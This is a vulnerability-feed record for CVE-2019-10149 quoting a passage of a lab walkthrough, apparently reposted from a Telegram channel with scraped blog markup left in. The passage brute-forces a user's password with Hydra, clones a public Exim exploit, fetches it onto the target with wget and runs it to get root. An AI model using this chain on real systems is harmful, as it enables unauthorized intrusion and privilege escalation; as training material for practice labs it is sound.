{"uuid": "0a208cdd-97c3-4a66-8c8b-8ac78bbf01ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-10149", "type": "seen", "source": "https://t.me/hacking_Attack/13961", "content": "OgCLcBGAsYHQ/s16000/43.png Now that we have the dictionary for the attack, we can use Hydra to perform a Bruteforce for the gunter user. After running for a while, we see that the password was cracked and the password for the user gunter is The Ice King sucks./dev/null<o:phttps://1.bp.blogspot.com/-JaaBF5EPrV0/YNNhkM-YBtI/AAAAAAAAwrU/f9mMhpq0ic01c5MMJ32Rs5ouRiT_tsp6gCLcBGAsYHQ/s16000/46.png To exploit this permission on exim4, we need to understand the configuration of Exim on the target machine. This service runs on a specific port and we can find the port number by taking a look at the update-exim4.conf file. We can see that it is configured to run on port 60000.<o:p cat /etc/exim4/update-exim4.conf.conf<o:phttps://1.bp.blogspot.com/-nERSL5C8do4/YNNhuLwqD1I/AAAAAAAAwrY/GRAFbTKPef8DDf0KYFFvc3I8tQIXC_rYgCLcBGAsYHQ/s16000/47.png There are multiple exploits available on the exploitdb for this privilege escalation but we will use this exploit that we were able to procure from GitHub as it is made in python and can interact with the exim4 on the target machine easily. We clone the repository and found a wizard.py file. <o:p git clone https://github.com/AzizMea/CVE-2019-10149-privilege-escalation exim4<o:pcd exim4<o:pls<o:pnano wizard.py<o:phttps://1.bp.blogspot.com/-ODaZYXraOCY/YNNhzo7RsNI/AAAAAAAAwrg/M-tACMIz64g0-Yu4xC-4yvzPkRxE-1nZwCLcBGAsYHQ/s16000/48.png We edited the file to include the port number that the service was running on the target machine i.e., 60000<o:p https://1.bp.blogspot.com/-jxrP7YQXzwk/YNNh7G-HKWI/AAAAAAAAwro/OgNiZZgjKPIr2rHusjwSaFG3fIpe28IvwCLcBGAsYHQ/s16000/49.png We use the python one-liner HTTP server to send the wizard.py file to the target machine.<o:p python -m SimpleHTTPServer<o:phttps://1.bp.blogspot.com/-KX9usVdwmfY/YNNiFcim5EI/AAAAAAAAwr0/KV8sUHTQoLcfK3gnMqKxMOF6dHp6jG3WwCLcBGAsYHQ/s16000/50.png We use the wget command on the target machine as the gunter user to download the file hosted by the attacker machine as demonstrated in the image below.<o:p wget http://10.10.209.22:8000/wizard.py<o:phttps://1.bp.blogspot.com/-LUAKFHuTizE/YNNiK1SgtDI/AAAAAAAAwr8/szAiN6-1c_ooRADcDYd-hzqZQo9PGQLZQCLcBGAsYHQ/s16000/51.png We move the wizard.py file to the temp directory so that we have the appropriate permissions to execute the exploit that will provide us with elevated access.<o:p mv wizard.py /tmp<o:pcd /tmp<o:plshttps://1.bp.blogspot.com/-RHCWuGZApcg/YNNi09G9x-I/AAAAAAAAwsU/9v3yS7HT69crSJGZfU-YruMye9srNHpawCLcBGAsYHQ/s16000/52.png Running the exploit, we see that our access was elevated to root. We confirmed the elevation using the id command as shown in the screenshot below.<o:p python3 wizard.py<o:pid<o:phttps://1.bp.blogspot.com/-GFZ0N0yNQNk/YNNirdfYPHI/AAAAAAAAwsM/wn-KVztMBP0AAS0YAiLmxJJg9bnKVcDewCLcBGAsYHQ/s16000/53.png We traversed into the home directory to find the bubblegum user\u2019s home directory. Moving inside we found a text file by the name of bmo.txt<o:p ls /home<o:pcd /home/bubblegum<o:pls<o:pcd Secrets<o:pls<o:phttps://1.bp.blogspot.com/[...]", "creation_timestamp": "2026-09-01T20:02:35.120622Z"}